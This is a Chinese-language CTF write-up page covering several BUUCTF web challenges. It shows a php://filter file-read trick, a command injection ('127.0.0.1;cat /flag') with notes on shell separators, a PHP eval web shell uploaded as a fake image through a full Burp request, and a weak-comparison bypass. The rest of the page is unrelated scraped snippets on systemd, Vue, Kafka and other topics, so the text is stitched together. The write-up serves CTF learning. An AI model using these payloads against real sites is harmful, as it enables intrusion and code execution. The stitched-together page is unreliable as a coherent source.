技术标签: # 比赛WP总结 # CTF记录 # 训练打卡日记
打开环境,点击tips出现
Can you find out the flag?
观察到浏览器url的后缀变化?file=flag.php
因此不难得到,应该用伪协议进行编码读取
http://a7631c34-a214-4e36-9184-e1957ecc34c6.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
之后base64解码,得到flag
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YWE1YjZkMzUtZjA3ZS00NWU5LWIwNjMtZGMwOTI5NDNlYzY4fQo=
看标题猜到是RCE
无过滤,输入
127.0.0.1;cat /flag
另外记录一下
;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
嗯,考点是文件上传,尝试php3,php5失败,php7成功但是页面没有渲染,之后尝试phtml后缀成功,下面是BurpSuite请求包
POST / HTTP/1.1
Host: b85d37f5-3d44-4eab-a428-6633d528130c.node3.buuoj.cn
Content-Length: 311
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://b85d37f5-3d44-4eab-a428-6633d528130c.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyhK7HZ5Xq4Qc0HxB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://b85d37f5-3d44-4eab-a428-6633d528130c.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176eeefef524b1-06a7c2cac68426-3323765-144000-176eeefef5397e
Connection: close
------WebKitFormBoundaryyhK7HZ5Xq4Qc0HxB
Content-Disposition: form-data; name="upload_file"; filename="2.phtml"
Content-Type: image/png
<?php eval($_POST[1]); ?>
------WebKitFormBoundaryyhK7HZ5Xq4Qc0HxB
Content-Disposition: form-data; name="submit"
upload
------WebKitFormBoundaryyhK7HZ5Xq4Qc0HxB--
根据提示./uplo4d/04b83e34e98d42802696941d27bc6c12.phtml
访问后用1为参数指行RCE即可
1=system(‘cat /flag’);
获得flag
flag{8da8cae1-3277-4853-a45e-92f503b33c2a}
看题目,再加上是php,因此拼接后缀得到源码http://70ef8aeb-1320-48e3-a533-1045b770b03e.node3.buuoj.cn/index.php.bak
审查源码,key必须是数字,并且必须与str相等,考点是弱比较,采用get请求key=123即可
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
访问即可得到flag
http://url/?key=123
不截图了,进入靶机只有一个tips等着被点。跳转以后看url中参数 页面内容只有 Can you find out the flag? 立马想到使用php伪协议读文件内容。使用filter过滤器 得到 解密得到flag...
使用systemd-coredump调试应用程序崩溃 systemd-coredump收集并显示内核核心转储,以分析应用程序崩溃。当某个进程崩溃(或所有属于某个应用程序的进程)时,其默认设置是将核心转储记录到日志中(systemd如果可能的话包括回溯),并将核心转储存储在中的文件中 /var/lib/systemd/coredump。您还可以选择使用其他工具(例如gdb或crash) 检查转储文件...
判断兼容 浏览器对振动API的支持情况,一个好的习惯就是在使用之前要检查一下当前你的应用环境、浏览器是否支持振动API。下面就是检测的方法: 在window.navigator对象里就只有一个关于振动的API:vibrate。 振动API基础应用 这个navigator.vibrate函数可以接受一个数字参数,也可以接受一个数字数组,当使用数组参数时,奇数位的数值是震动秒数,偶数位为等待秒数。 如...
vue初始化的顺序: props methods data computed watch 所以一般不会在data里面直接使用computed的值, 计算属性是响应式的 Original message: "Hello" Computed reversed message: "olleH" 这里我们声明了一个计算属性 reversedMessage。...
SSM...
对于一个字符串,请设计一个高效算法,计算其中最长回文子串的长度。 给定字符串A以及它的长度n,请返回最长回文子串的长度。 测试样例:...
系统信息查看 硬件信息查看 为什么proc目录中的信息不让改动 次目录中的所有数据都存储在内存里面 /proc : 数据内存存储 系统信息 内核信息 服务进程信息...
SpringMVC: SpringMVC是基于Spring的一个部件,专门来处理客户端与服务器之间的交互,通过controller(控制器)将model(底层数据)返回到view(视图页面)。 Spring的相关jar SpringMVC的优点 1.SpringMVC基于Spring,所有的创建都交给容器去处理,每次使用只需要从容器中拿即可 2.由于SpringMVC中DispatcherServ...
在CHD5.16.2中安装 KAFKA-2.1.1-1.2.1.1.p0.18, 环境配置结束后测试kafka是否搭建成功 遇到以下问题: 1. kafka创建生产者后用消费者消费时--bootstrap-server 与 --zookeeper的区别 在控制台上消费者命令不能--bootstrap-server这种形式, 是kafka配置有问题吗? 求赐教 ...
系列文章目录 实践数据湖iceberg 第一课 入门 实践数据湖iceberg 第二课 iceberg基于hadoop的底层数据格式 实践数据湖iceberg 第三课 在sqlclient中,以sql方式从kafka读数据到iceberg 实践数据湖iceberg 第四课 在sqlclient中,以sql方式从kafka读数据到iceberg(升级版本到flink1.12.7) 实践数据湖iceb...